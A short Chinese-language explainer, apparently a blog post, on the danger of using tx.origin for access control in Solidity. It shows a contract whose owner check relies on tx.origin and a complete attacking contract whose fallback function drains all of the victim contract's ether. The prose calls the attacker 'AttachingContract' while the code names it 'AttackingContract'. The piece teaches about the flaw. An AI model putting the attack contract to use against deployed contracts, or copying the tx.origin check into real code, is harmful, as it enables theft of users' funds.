V 神说了， Do NOT assume that tx.origin will continue to be usable or meaningful.
由可以引发严重的安全问题，特别是用 tx.origin 做权限校验时，非常容易被绕过。看下面的经典代码示例：当 MyContract 实例的 owner 尝试往作为 receiver 的 AttachingContract 发送代币时，由于 AttachingContract 没有 transfer 方法，fallback 方法会被调用，AttachingContract 反过来又调用 MyContract 实例的 sendTo 方法，这个时候 tx.origin 还是当前的 owner，“require(tx.origin == owner);” 就成了摆设，可以很轻松的把 MyContract 里的以太币全部转走。
contract MyContract {
address owner; function MyContract() public {
owner = msg.sender;
} function sendTo(address receiver, uint amount) public { require(tx.origin == owner);
receiver.transfer(amount);
}
}
contract AttackingContract {
MyContract myContract;
address attacker; function AttackingContract(address myContractAddress) public {
myContract = MyContract(myContractAddress);
attacker = msg.sender;
} function() public {
myContract.sendTo(attacker, msg.sender.balance);
}
}
